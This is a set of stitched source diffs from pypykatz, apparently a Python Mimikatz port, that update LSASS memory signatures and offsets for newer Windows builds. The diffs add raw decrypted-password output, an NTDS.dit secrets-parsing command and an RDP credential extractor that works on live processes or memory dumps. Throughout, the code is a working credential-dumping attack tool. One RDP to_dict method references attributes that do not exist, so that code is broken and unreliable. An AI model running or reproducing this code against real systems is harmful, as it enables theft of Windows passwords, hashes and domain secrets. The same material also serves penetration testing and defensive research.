65 | 67 | |
72 | 74 | t += '\t\tusername %s\n' % self.username |
73 | 75 | t += '\t\tdomain %s\n' % self.domainname |
74 | 76 | t += '\t\tpassword %s\n' % self.password |
77 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
75 | 78 | return t |
76 | 79 | |
77 | 80 | |
281 | 284 | |
282 | 285 | def find_first_entry(self): |
283 | 286 | #finding signature |
287 | #input('sig %s' % self.decryptor_template.signature.hex()) | |
288 | #input('sig %s' % self.decryptor_template.first_entry_offset) | |
284 | 289 | position = self.find_signature('lsasrv.dll',self.decryptor_template.signature) |
285 | 290 | |
286 | 291 | #getting logon session count |
287 | if self.sysinfo.architecture == KatzSystemArchitecture.X64 and self.sysinfo.buildnumber > WindowsMinBuild.WIN_BLUE.value: | |
288 | ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.offset2) | |
289 | self.reader.move(ptr_entry_loc) | |
290 | self.logon_session_count = int.from_bytes(self.reader.read(1), byteorder = 'big', signed = False) | |
291 | else: | |
292 | self.logon_session_count = 1 | |
292 | self.logon_session_count = 1 | |
293 | if self.sysinfo.architecture == KatzSystemArchitecture.X64: | |
294 | if self.sysinfo.buildnumber >= WindowsBuild.WIN_8.value or (WindowsMinBuild.WIN_8.value <= self.sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value and self.sysinfo.msv_dll_timestamp > 0x60000000): | |
295 | ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.offset2) | |
296 | self.reader.move(ptr_entry_loc) | |
297 | self.logon_session_count = int.from_bytes(self.reader.read(1), byteorder = 'big', signed = False) | |
293 | 298 | |
294 | 299 | #getting logon session ptr |
295 | 300 | ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) |
296 | 301 | ptr_entry = self.reader.get_ptr(ptr_entry_loc) |
297 | 302 | return ptr_entry, ptr_entry_loc |
303 | ||
298 | 304 | |
299 | 305 | def add_entry(self, entry): |
300 | 306 | self.current_logonsession = LogonSession.parse(entry, self.reader) |
331 | 337 | if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0: |
332 | 338 | enc_data = credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword) |
333 | 339 | if c.username.endswith('$') is True: |
334 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
340 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
335 | 341 | if c.password is not None: |
336 | 342 | c.password = c.password.hex() |
337 | 343 | else: |
338 | c.password = self.decrypt_password(enc_data) | |
344 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
339 | 345 | |
340 | 346 | c.luid = self.current_logonsession.luid |
341 | 347 | |
351 | 357 | |
352 | 358 | self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data)) |
353 | 359 | self.log('Decrypting credential structure') |
354 | dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected = True) | |
360 | dec_data, raw_dec = self.decrypt_password(encrypted_credential_data, bytes_expected = True) | |
355 | 361 | self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data))) |
356 | ||
362 | ||
357 | 363 | struct_reader = GenericReader(dec_data, self.sysinfo.architecture) |
358 | 364 | if len(dec_data) == MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC.size and dec_data[4:8] == b'\xcc\xcc\xcc\xcc': |
359 | 365 | creds_struct = MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC(struct_reader) |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | import io |
6 | from pypykatz import logger | |
6 | 7 | from minidump.win_datatypes import BOOLEAN, HANDLE |
7 | 8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild |
8 | 9 | from pypykatz.commons.win_datatypes import USHORT, ULONG, LSA_UNICODE_STRING, LSAISO_DATA_BLOB, \ |
24 | 25 | |
25 | 26 | @staticmethod |
26 | 27 | def get_template(sysinfo): |
28 | logger.debug('buildnumber: %s' % sysinfo.buildnumber) | |
29 | logger.debug('msv_dll_timestamp: %s' % sysinfo.msv_dll_timestamp) | |
27 | 30 | template = MsvTemplate() |
28 | 31 | template.encrypted_credentials_list_struct = KIWI_MSV1_0_CREDENTIAL_LIST |
29 | 32 | template.log_template('encrypted_credentials_list_struct', template.encrypted_credentials_list_struct) |
90 | 93 | template.offset2 = -4 |
91 | 94 | |
92 | 95 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: |
93 | template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' | |
94 | template.first_entry_offset = 16 | |
95 | template.offset2 = -4 | |
96 | if sysinfo.msv_dll_timestamp > 0x60000000: | |
97 | # new win2012 update weirdness | |
98 | template.list_entry = PKIWI_MSV1_0_LIST_63 | |
99 | template.signature = b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05' | |
100 | template.first_entry_offset = 34 | |
101 | template.offset2 = -6 | |
102 | else: | |
103 | template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' | |
104 | template.first_entry_offset = 16 | |
105 | template.offset2 = -4 | |
96 | 106 | |
97 | 107 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: |
98 | 108 | template.signature = b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05' |
116 | 126 | template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74' |
117 | 127 | template.first_entry_offset = 23 |
118 | 128 | template.offset2 = -4 |
119 | ||
120 | else: | |
121 | #1903 | |
129 | ||
130 | elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value: | |
122 | 131 | template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' |
123 | 132 | template.first_entry_offset = 23 |
124 | 133 | template.offset2 = -4 |
134 | ||
135 | else: | |
136 | #win11 | |
137 | template.signature = b'\x45\x89\x34\x24\x4c\x8b\xff\x8b\xf3\x45\x85\xc0\x74' | |
138 | template.first_entry_offset = 24 | |
139 | template.offset2 = -4 | |
140 | ||
141 | #BYTE PTRN_WN11_LogonSessionList[] = {}; | |
142 | #logger.debug(template.signature.hex()) | |
125 | 143 | |
126 | 144 | elif sysinfo.architecture == KatzSystemArchitecture.X86: |
127 | 145 | if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: |
564 | 582 | self.SecondaryLocallyUniqueIdentifier = LUID(reader).value |
565 | 583 | self.waza = reader.read(12) |
566 | 584 | reader.align() |
567 | # | |
568 | #print(hexdump(reader.peek(0x100))) | |
569 | #input() | |
570 | # | |
571 | 585 | self.UserName = LSA_UNICODE_STRING(reader) |
572 | 586 | self.Domaine = LSA_UNICODE_STRING(reader) |
573 | 587 | self.unk14 = PVOID(reader).value |
596 | 610 | self.unk28 = PVOID(reader).value |
597 | 611 | self.unk29 = PVOID(reader).value |
598 | 612 | self.CredentialManager = PVOID(reader) |
613 | ||
614 | ||
615 | ||
616 | ||
617 | ||
618 | ||
619 | templates_test = { | |
620 | #if WindowsMinBuild.WIN_XP.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: | |
621 | '0' : { | |
622 | 'signature' : b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8', | |
623 | 'first_entry_offset' : -4, | |
624 | 'offset2' : 0 | |
625 | }, | |
626 | #elif WindowsMinBuild.WIN_2K3.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
627 | '1' : { | |
628 | 'signature' : b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8', | |
629 | 'first_entry_offset' : -4, | |
630 | 'offset2' : -45 | |
631 | }, | |
632 | #elif WindowsMinBuild.WIN_VISTA.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: | |
633 | '2' : { | |
634 | 'signature' : b'\x33\xff\x45\x85\xc0\x41\x89\x75\x00\x4c\x8b\xe3\x0f\x84', | |
635 | 'first_entry_offset' : 21, #-4, | |
636 | 'offset2' : -4 | |
637 | }, | |
638 | #elif WindowsMinBuild.WIN_7.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: | |
639 | '3' : { | |
640 | 'signature' : b'\x33\xf6\x45\x89\x2f\x4c\x8b\xf3\x85\xff\x0f\x84', | |
641 | 'first_entry_offset' : 19, | |
642 | 'offset2' : -4, | |
643 | }, | |
644 | # elif WindowsMinBuild.WIN_8.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: | |
645 | '4' : { | |
646 | 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74', | |
647 | 'first_entry_offset' : 16, | |
648 | 'offset2' : -4 | |
649 | }, | |
650 | ||
651 | ## elif WindowsMinBuild.WIN_BLUE.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: | |
652 | #'5' : { | |
653 | # 'signature' : b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05', | |
654 | # 'first_entry_offset' : 36, | |
655 | # 'offset2' : -6 | |
656 | #}, | |
657 | ||
658 | # elif WindowsMinBuild.WIN_BLUE.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: | |
659 | '5' : { | |
660 | 'signature' : b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05', | |
661 | 'first_entry_offset' : 34, | |
662 | 'offset2' : -6 | |
663 | }, | |
664 | ||
665 | #elif WindowsBuild.WIN_10_1507.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1703.value: | |
666 | #'6' : { | |
667 | # 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74', | |
668 | # 'first_entry_offset' : 16, | |
669 | # 'offset2' : -4 | |
670 | #}, | |
671 | ||
672 | '6' : { | |
673 | 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74', | |
674 | 'first_entry_offset' : 34, | |
675 | 'offset2' : -6 | |
676 | }, | |
677 | ||
678 | # elif WindowsMinBuild.WIN_8.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: | |
679 | '7' : { | |
680 | #1503 and 1603 | |
681 | 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74', | |
682 | 'first_entry_offset' : 16, | |
683 | 'offset2' : -4 | |
684 | }, | |
685 | ||
686 | # elif WindowsBuild.WIN_10_1703.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1803.value: | |
687 | '8' : { | |
688 | #1703 | |
689 | 'signature' : b'\x33\xff\x45\x89\x37\x48\x8b\xf3\x45\x85\xc9\x74', | |
690 | 'first_entry_offset' : 23, | |
691 | 'offset2' : -4 | |
692 | }, | |
693 | ||
694 | # elif WindowsBuild.WIN_10_1803.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value: | |
695 | '9' : { | |
696 | #1803 | |
697 | 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74', | |
698 | 'first_entry_offset' : 23, | |
699 | 'offset2' : -4 | |
700 | }, | |
701 | ||
702 | # elif WindowsBuild.WIN_10_1903.value <: sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value: | |
703 | '10' : { | |
704 | 'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74', | |
705 | 'first_entry_offset' : 23, | |
706 | 'offset2' : -4 | |
707 | }, | |
708 | ||
709 | # elif WindowsBuild.WIN_10_1703.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1803.value: | |
710 | '11' : { | |
711 | 'signature' : b'\x45\x89\x34\x24\x4c\x8b\xff\x8b\xf3\x45\x85\xc0\x74', | |
712 | 'first_entry_offset' : 24, | |
713 | 'offset2' : -4, | |
714 | }, | |
715 | }⏎ |
13 | 13 | self.username = None |
14 | 14 | self.domainname = None |
15 | 15 | self.password = None |
16 | self.password_raw = b'' | |
16 | 17 | self.luid = None |
17 | 18 | |
18 | 19 | def to_dict(self): |
21 | 22 | t['username'] = self.username |
22 | 23 | t['domainname'] = self.domainname |
23 | 24 | t['password'] = self.password |
25 | t['password_raw'] = self.password_raw | |
24 | 26 | t['luid'] = self.luid |
25 | 27 | return t |
26 | 28 | |
32 | 34 | t += '\t\tusername %s\n' % self.username |
33 | 35 | t += '\t\tdomainname %s\n' % self.domainname |
34 | 36 | t += '\t\tpassword %s\n' % self.password |
37 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
35 | 38 | return t |
36 | 39 | |
37 | 40 | class SspDecryptor(PackageDecryptor): |
53 | 56 | c.domainname = ssp_entry.credentials.UserName.read_string(self.reader) |
54 | 57 | if ssp_entry.credentials.Password.Length != 0: |
55 | 58 | if c.username.endswith('$') is True or c.domainname.endswith('$') is True: |
56 | c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader), bytes_expected=True) | |
59 | c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_maxdata(self.reader), bytes_expected=True) | |
57 | 60 | if c.password is not None: |
58 | 61 | c.password = c.password.hex() |
59 | 62 | else: |
60 | c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader)) | |
63 | c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_maxdata(self.reader)) | |
61 | 64 | |
62 | 65 | if c.username == '' and c.domainname == '' and c.password is None: |
63 | 66 | return |
15 | 15 | self.username = None |
16 | 16 | self.domainname = None |
17 | 17 | self.password = None |
18 | self.password_raw = b'' | |
18 | 19 | self.luid = None |
19 | 20 | |
20 | 21 | def to_dict(self): |
23 | 24 | t['username'] = self.username |
24 | 25 | t['domainname'] = self.domainname |
25 | 26 | t['password'] = self.password |
27 | t['password_raw'] = self.password_raw | |
26 | 28 | t['luid'] = self.luid |
27 | 29 | return t |
30 | ||
28 | 31 | def to_json(self): |
29 | 32 | return json.dumps(self.to_dict()) |
30 | 33 | |
33 | 36 | t += '\t\tusername %s\n' % self.username |
34 | 37 | t += '\t\tdomainname %s\n' % self.domainname |
35 | 38 | t += '\t\tpassword %s\n' % self.password |
39 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
36 | 40 | return t |
37 | 41 | |
38 | 42 | class TspkgDecryptor(PackageDecryptor): |
81 | 85 | if primary_credential.credentials.Password.Length != 0: |
82 | 86 | enc_data = primary_credential.credentials.Password.read_maxdata(self.reader) |
83 | 87 | if c.username.endswith('$') is True: |
84 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
88 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
85 | 89 | if c.password is not None: |
86 | 90 | c.password = c.password.hex() |
87 | 91 | else: |
88 | c.password = self.decrypt_password(enc_data) | |
92 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
89 | 93 | |
90 | 94 | self.credentials.append(c)⏎ |
14 | 14 | self.username = None |
15 | 15 | self.domainname = None |
16 | 16 | self.password = None |
17 | self.password_raw = b'' | |
17 | 18 | self.luid = None |
18 | 19 | |
19 | 20 | def to_dict(self): |
22 | 23 | t['username'] = self.username |
23 | 24 | t['domainname'] = self.domainname |
24 | 25 | t['password'] = self.password |
26 | t['password_raw'] = self.password_raw | |
25 | 27 | t['luid'] = self.luid |
26 | 28 | return t |
27 | 29 | def to_json(self): |
32 | 34 | t += '\t\tusername %s\n' % self.username |
33 | 35 | t += '\t\tdomainname %s\n' % self.domainname |
34 | 36 | t += '\t\tpassword %s\n' % self.password |
37 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
35 | 38 | return t |
36 | 39 | |
37 | 40 | class WdigestDecryptor(PackageDecryptor): |
64 | 67 | wc.domainname = DomainName.read_string(self.reader) |
65 | 68 | wc.encrypted_password = Password.read_maxdata(self.reader) |
66 | 69 | if wc.username.endswith('$') is True: |
67 | wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True) | |
70 | wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True) | |
68 | 71 | if wc.password is not None: |
69 | 72 | wc.password = wc.password.hex() |
70 | 73 | else: |
71 | wc.password = self.decrypt_password(wc.encrypted_password) | |
74 | wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password) | |
72 | 75 | |
73 | 76 | if wc.username == '' and wc.domainname == '' and wc.password is None: |
74 | 77 | return |
5 | 5 | |
6 | 6 | #import io |
7 | 7 | #from minidump.win_datatypes import * |
8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild | |
8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild | |
9 | 9 | from pypykatz.commons.win_datatypes import LUID, ULONG, POINTER |
10 | 10 | from pypykatz.lsadecryptor.package_commons import PackageTemplate |
11 | 11 | |
69 | 69 | template.primary_offset = 32 |
70 | 70 | template.list_entry = PWdigestListEntry |
71 | 71 | |
72 | elif sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value: | |
72 | elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value: | |
73 | 73 | template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10' |
74 | 74 | template.first_entry_offset = -6 |
75 | 75 | template.primary_offset = 32 |
76 | 76 | template.list_entry = PWdigestListEntry |
77 | 77 | |
78 | else: | |
78 | else: # sysinfo.buildnumber >= WindowsBuild.WIN_10_1809: | |
79 | 79 | template.signature = b'\x74\x15\x8b\x17\x39\x56\x10' |
80 | 80 | template.first_entry_offset = -6 |
81 | 81 | template.primary_offset = 32 |
0 | ||
1 | ||
2 | #!/usr/bin/env python3 | |
3 | # | |
4 | # Author: | |
5 | # Tamas Jos (@skelsec) | |
6 | # | |
7 | ||
8 | import asyncio | |
9 | import platform | |
10 | from tqdm import tqdm | |
11 | ||
12 | async def flush_buffer(buffer, outfile_handle = None): | |
13 | try: | |
14 | if outfile_handle is not None: | |
15 | res = '' | |
16 | for secret in buffer: | |
17 | try: | |
18 | res += str(secret) | |
19 | except: | |
20 | continue | |
21 | outfile_handle.write(res) | |
22 | else: | |
23 | for secret in buffer: | |
24 | try: | |
25 | print(str(secret)) | |
26 | except: | |
27 | continue | |
28 | ||
29 | buffer = [] | |
30 | return True, None | |
31 | except Exception as e: | |
32 | return None, e | |
33 | ||
34 | class ParsersCMDHelper: | |
35 | def __init__(self): | |
36 | self.live_keywords = ['parser'] | |
37 | self.keywords = ['parser'] | |
38 | ||
39 | def add_args(self, parser, live_parser): | |
40 | parser_group = parser.add_parser('parser', help='SMB related commands') | |
41 | parser_subparsers = parser_group.add_subparsers() | |
42 | parser_subparsers.required = True | |
43 | parser_subparsers.dest = 'parser_module' | |
44 | ||
45 | ntds_group = parser_subparsers.add_parser('ntds', help='NTDS.dit file parser, extracting secrets') | |
46 | ntds_group.add_argument('ntdsfile', help="NTDS.dit file") | |
47 | ntds_group.add_argument('systemhive', help="SYSTEM hive file or the Bootkey(in hex). This is needed to decrypt the secrets") | |
48 | ntds_group.add_argument('-p', '--progress', action='store_true', help="Show progress bar. Please use this only if you also specified an output file.") | |
49 | ntds_group.add_argument('-o', '--outfile', help='Output file. If omitted secrets will be printed to STDOUT') | |
50 | ntds_group.add_argument('--strict', action='store_true', help='Strict parsing. Fails on errors') | |
51 | ntds_group.add_argument('--no-history', action='store_true', help='Do not parse history') | |
52 | ||
53 | ||
54 | def execute(self, args): | |
55 | if args.command in self.keywords: | |
56 | asyncio.run(self.run(args)) | |
57 | ||
58 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: | |
59 | asyncio.run(self.run_live(args)) | |
60 | ||
61 | ||
62 | async def run_live(self, args): | |
63 | if platform.system().lower() != 'windows': | |
64 | raise Exception('Live commands only work on Windows!') | |
65 | ||
66 | async def run(self, args): | |
67 | if args.parser_module == 'ntds': | |
68 | from aesedb.examples.ntdsparse import NTDSParserConsole | |
69 | ntdscon = NTDSParserConsole( | |
70 | args.systemhive, | |
71 | args.ntdsfile, | |
72 | ignore_errors=args.strict, | |
73 | with_history=not args.no_history | |
74 | ) | |
75 | ||
76 | buffer = [] | |
77 | buffer_size = 1000 | |
78 | total = await ntdscon.get_total_rows() | |
79 | if args.progress is True: | |
80 | pbar = tqdm(desc='JET table parsing ', total=total, unit='records', miniters= total//200 ,position=0) | |
81 | pbar_sec = tqdm(desc='User secrets found', unit = '', miniters=buffer_size//10 ,position=1) | |
82 | ||
83 | outfile_handle = None | |
84 | if args.outfile is not None: | |
85 | outfile_handle = open(args.outfile, 'w', newline = '') | |
86 | ||
87 | async for secret, err in ntdscon.get_secrets(): | |
88 | if err is not None: | |
89 | raise err | |
90 | ||
91 | if args.progress is True: | |
92 | pbar.update() | |
93 | ||
94 | if secret is None: | |
95 | continue | |
96 | ||
97 | if args.progress is True: | |
98 | pbar_sec.update() | |
99 | ||
100 | ||
101 | buffer.append(secret) | |
102 | if len(buffer) > buffer_size: | |
103 | _, err = await flush_buffer(buffer, outfile_handle) | |
104 | buffer = [] | |
105 | if err is not None: | |
106 | raise err | |
107 | ||
108 | ||
109 | _, err = await flush_buffer(buffer, outfile_handle) | |
110 | buffer = [] | |
111 | if err is not None: | |
112 | raise err | |
113 | ||
114 | ||
115 | #parser = NTDSParserConsole(args.systemhive, args.ntdsfile, show_progress = args.progress, outfile = args.outfile) | |
116 | #await parser.run() | |
117 | ||
118 | ⏎ |
121 | 121 | print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e)) |
122 | 122 | |
123 | 123 | @staticmethod |
124 | def go_live_phandle(lsass_process_handle, packages = ['all']): | |
124 | def go_live_phandle(process_handle, packages = ['all']): | |
125 | 125 | if platform.system() != 'Windows': |
126 | 126 | raise Exception('Live parsing will only work on Windows') |
127 | 127 | from pypykatz.commons.readers.local.live_reader import LiveReader |
128 | reader = LiveReader(lsass_process_handle=lsass_process_handle) | |
128 | reader = LiveReader(process_handle=process_handle) | |
129 | 129 | sysinfo = KatzSystemInfo.from_live_reader(reader) |
130 | 130 | mimi = pypykatz(reader.get_buffered_reader(), sysinfo) |
131 | 131 | mimi.start(packages) |
246 | 246 | for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo): |
247 | 247 | try: |
248 | 248 | lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) |
249 | logger.debug(lsa_dec.dump()) | |
249 | lsa_dec.dump() | |
250 | 250 | except: |
251 | 251 | pass |
252 | 252 | else: |
253 | 253 | logger.debug('Lucky you! Brutefoce method found a -probably- working template!') |
254 | 254 | return lsa_dec |
255 | ||
256 | 255 | def get_lsa(self): |
257 | #trying with automatic template detection | |
256 | #trying with automatic template detection | |
258 | 257 | try: |
259 | 258 | lsa_dec_template = LsaTemplate.get_template(self.sysinfo) |
260 | 259 | lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) |
261 | logger.debug(lsa_dec.dump()) | |
260 | lsa_dec.dump() | |
262 | 261 | except Exception as e: |
263 | 262 | logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e)) |
264 | 263 | lsa_dec = self.get_lsa_bruteforce() |
382 | 381 | self.get_ssp() |
383 | 382 | except Exception as e: |
384 | 383 | self.errors.append(('ssp', e)) |
384 | ||
385 | if 'dpapi' in packages or 'all' in packages: | |
386 | try: | |
387 | self.get_dpapi() | |
388 | except Exception as e: | |
389 | self.errors.append(('dpapi', e)) | |
390 | ||
391 | if 'cloudap' in packages or 'all' in packages: | |
392 | try: | |
393 | self.get_cloudap() | |
394 | except Exception as e: | |
395 | self.errors.append(('cloudap', e)) | |
385 | 396 | |
386 | 397 | if 'livessp' in packages or 'all' in packages: |
387 | 398 | try: |
389 | 400 | except Exception as e: |
390 | 401 | self.errors.append(('livessp', e)) |
391 | 402 | |
392 | if 'dpapi' in packages or 'all' in packages: | |
393 | try: | |
394 | self.get_dpapi() | |
395 | except Exception as e: | |
396 | self.errors.append(('dpapi', e)) | |
397 | ||
398 | if 'cloudap' in packages or 'all' in packages: | |
399 | try: | |
400 | self.get_cloudap() | |
401 | except Exception as e: | |
402 | self.errors.append(('cloudap', e)) | |
403 | ||
403 | ||
404 |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | from pypykatz.rdp.parser import RDPCredParser | |
7 | ||
8 | ||
9 | ||
10 | class RDPCMDHelper: | |
11 | def __init__(self): | |
12 | self.live_keywords = ['rdp'] | |
13 | self.keywords = ['rdp'] | |
14 | ||
15 | def add_args(self, parser, live_parser): | |
16 | # live | |
17 | live_group = live_parser.add_parser('rdp', help='a') | |
18 | live_rdp_subparsers = live_group.add_subparsers() | |
19 | live_rdp_subparsers.required = True | |
20 | live_rdp_subparsers.dest = 'live_rdp_module' | |
21 | ||
22 | live_logonpasswords_group = live_rdp_subparsers.add_parser('logonpasswords', help='Parse RDP credentials (SERVER side)') | |
23 | live_logonpasswords_group.add_argument('--pid', type=int, help = 'Search a specific process PID for RDP creds') | |
24 | live_logonpasswords_group.add_argument('--all', action='store_true', help = 'Looks for all processes which use the rdp DLL rdpcorets.dll') | |
25 | ||
26 | live_mstsc_group = live_rdp_subparsers.add_parser('mstsc', help='Parse RDP credentials (CLIENT side)') | |
27 | live_mstsc_group.add_argument('--pid', type=int, help = 'Search a specific process PID for RDP creds') | |
28 | live_mstsc_group.add_argument('--all', action='store_true', help = 'Looks for all processes which use the rdp DLL mstscax.dll') | |
29 | ||
30 | # offline | |
31 | group = parser.add_parser('rdp', help='Parse RDP credentials from minidump file') | |
32 | rdp_subparsers = group.add_subparsers() | |
33 | rdp_subparsers.required = True | |
34 | rdp_subparsers.dest = 'rdp_module' | |
35 | ||
36 | logonpasswords_group = rdp_subparsers.add_parser('logonpasswords', help='Parse RDP credentials (SERVER side) from minidump file. Plain-text passwords only for WINVER <= Win2012') | |
37 | logonpasswords_group.add_argument('cmd', choices=['minidump']) | |
38 | logonpasswords_group.add_argument('memoryfile', help='path to the dump file') | |
39 | ||
40 | mstsc_group = rdp_subparsers.add_parser('mstsc', help='Parse RDP credentials (CLIENT side) from minidump file. Unable to recover plain-text passwords offline.') | |
41 | mstsc_group.add_argument('cmd', choices=['minidump']) | |
42 | mstsc_group.add_argument('memoryfile', help='path to the dump file') | |
43 | ||
44 | def execute(self, args): | |
45 | if len(self.keywords) > 0 and args.command in self.keywords: | |
46 | self.run(args) | |
47 | ||
48 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: | |
49 | self.run_live(args) | |
50 | ||
51 | def run_live(self, args): | |
52 | credparsers = RDPCredParser.go_live(pid = args.pid, all_rdp = args.all, live_rdp_module = args.live_rdp_module) | |
53 | for credparser in credparsers: | |
54 | for cred in credparser.credentials: | |
55 | print(str(cred)) | |
56 | ||
57 | def run(self, args): | |
58 | credparsers = RDPCredParser.parse_minidump_file(args.memoryfile, args.rdp_module) | |
59 | for credparser in credparsers: | |
60 | for cred in credparser.credentials: | |
61 | print(str(cred))⏎ |
0 | import json | |
1 | import hashlib | |
2 | import math | |
3 | ||
4 | from pypykatz import logger | |
5 | from pypykatz.commons.common import hexdump | |
6 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild | |
7 | ||
8 | ||
9 | class RDPCredential: | |
10 | def __init__(self): | |
11 | self.credtype = 'rdp' | |
12 | self.domainname = None | |
13 | self.username = '' | |
14 | self.password = '' | |
15 | self.password_raw = b'' | |
16 | self.isencrypted = None | |
17 | self.servername = '' | |
18 | self.serverfqdn = '' | |
19 | ||
20 | def to_dict(self): | |
21 | t = {} | |
22 | t['credtype'] = self.credtype | |
23 | t['domainname'] = self.cachedir | |
24 | t['username'] = self.PRT | |
25 | t['password'] = self.key_guid | |
26 | t['password_raw'] = self.dpapi_key | |
27 | return t | |
28 | ||
29 | def to_json(self): | |
30 | return json.dumps(self.to_dict()) | |
31 | ||
32 | def __str__(self): | |
33 | t = '\t== RDP Credential ==\n' | |
34 | t += '\t\tdomainname %s\n' % self.domainname | |
35 | t += '\t\tusername %s\n' % self.username | |
36 | t += '\t\tpassword \'%s\'\n' % self.password | |
37 | ||
38 | try: | |
39 | t += '\t\tpassword_raw %s\n' % self.password_raw.hex() | |
40 | except: | |
41 | t += '\t\tpassword_raw %s\n' % self.password_raw | |
42 | ||
43 | t += '\t\tisencrypted: %s\n' % str(self.isencrypted) | |
44 | t += '\t\tservername: \'%s\'\n' % self.servername | |
45 | t += '\t\tserverfqdn: \'%s\'\n' % self.serverfqdn | |
46 | return t | |
47 | ||
48 | class RDPCredentialDecryptorMstsc: | |
49 | def __init__(self, process, reader, decryptor_template, sysinfo, find_first=False): | |
50 | self.process = process | |
51 | self.reader = reader | |
52 | self.sysinfo = sysinfo | |
53 | self.decryptor_template = decryptor_template | |
54 | self.credentials = [] | |
55 | self.find_first = find_first | |
56 | ||
57 | def find_string(self, chunck): | |
58 | marker = chunck.find(b'\x00\x00') | |
59 | if marker <= 0: | |
60 | chunck = b'' | |
61 | return chunck[:marker + 1] | |
62 | ||
63 | def find_entries(self, chunksize=10*1024): | |
64 | reader = self.reader.get_reader() | |
65 | handler = reader.get_handler() | |
